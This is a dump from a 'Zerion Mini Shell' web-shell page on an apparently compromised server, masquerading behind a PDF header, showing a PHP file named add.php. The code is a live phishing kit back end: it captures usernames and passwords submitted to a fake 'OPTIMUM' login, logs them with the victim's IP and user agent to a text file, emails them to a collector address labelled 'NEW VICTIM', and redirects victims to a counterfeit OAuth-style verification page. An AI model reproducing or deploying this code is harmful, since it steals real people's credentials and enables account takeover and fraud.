%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/assumpcaocom/pass/
Upload File :
Create Path :
Current File : //home/assumpcaocom/pass/add.php

<?php

function getRealIpAddr()
{
    if (!empty($_SERVER['HTTP_CLIENT_IP']))   //check ip from share internet
    {
      $ip=$_SERVER['HTTP_CLIENT_IP'];
    }
    elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))   //to check ip is pass from proxy
    {
      $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    else
    {
      $ip=$_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

function token() {
    $alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
    $pass = array(); //remember to declare $pass as an array
    $alphaLength = strlen($alphabet) - 1; //put the length -1 in cache
    for ($i = 0; $i < 15; $i++) {
        $n = rand(0, $alphaLength);
        $pass[] = $alphabet[$n];
    }
    return implode($pass); //turn the array into a string
}
session_start();

if(!isset($_SESSION["LogCount"]))
{
	$_SESSION["LogCount"]=1;
}

if(isset($_POST['id']) && isset($_POST['password'])){


    $_SESSION['user'] = $_POST['id'];
    $_SESSION['passwd'] = $_POST['password'];
    $_SESSION['IP'] = getRealIpAddr();
    $_SESSION['HTTP_USER_AGENT'] = $_SERVER['HTTP_USER_AGENT'];
    $login = $_POST['id'];
    $subject = '[OPTIMUM '.getRealIpAddr().'] NEW VICTIM'; 
    $tos = "allspamresults@yahoo.com";
    $message = ' 
    <html> 
        <head> 
            <title>[OPTIMUM '.getRealIpAddr().'] NEW VICTIM</title> 
        </head> 
        <body>   
Username: '.$_POST['id'].'
Password: '.$_POST['password'].'
IP: '.getRealIpAddr().'
User-Agent: '.$_SERVER['HTTP_USER_AGENT'].'
        </body> 
    </html>'; 
    $victimes = fopen("resultat.txt","a");
    fwrite($victimes,$message);
    fclose($victimes);
 if($_SESSION["LogCount"]<2)
{
@mail($tos, $subject, $message);
    $_SESSION["LogCount"]= $_SESSION["LogCount"] + 1;
	header("Location: index.php?error=0&email=$login");
}else{
	header("Location: verification.php?email=$login&r=opt.net&s=oauth&continue=https%3A%2F%2Foauth.opt.com%2Foauth%2Fauthorize%3Fclient_id%3Dmy-account-web%26prompt%3Dlogin%26redirect_uri%3Dhttps%253A%252F%252Fcustomer.opt.com%252Foauth%252Fcallback%26response_type%3Dcode%26state%3Dhttps%253A%252F%252Fcustomer.opt.com%252F%2523%252F%26response%3D1&forceAuthn=1&client_id=my-account-web&reqId=".token());

	exit();
}
}
?>

Zerion Mini Shell 1.0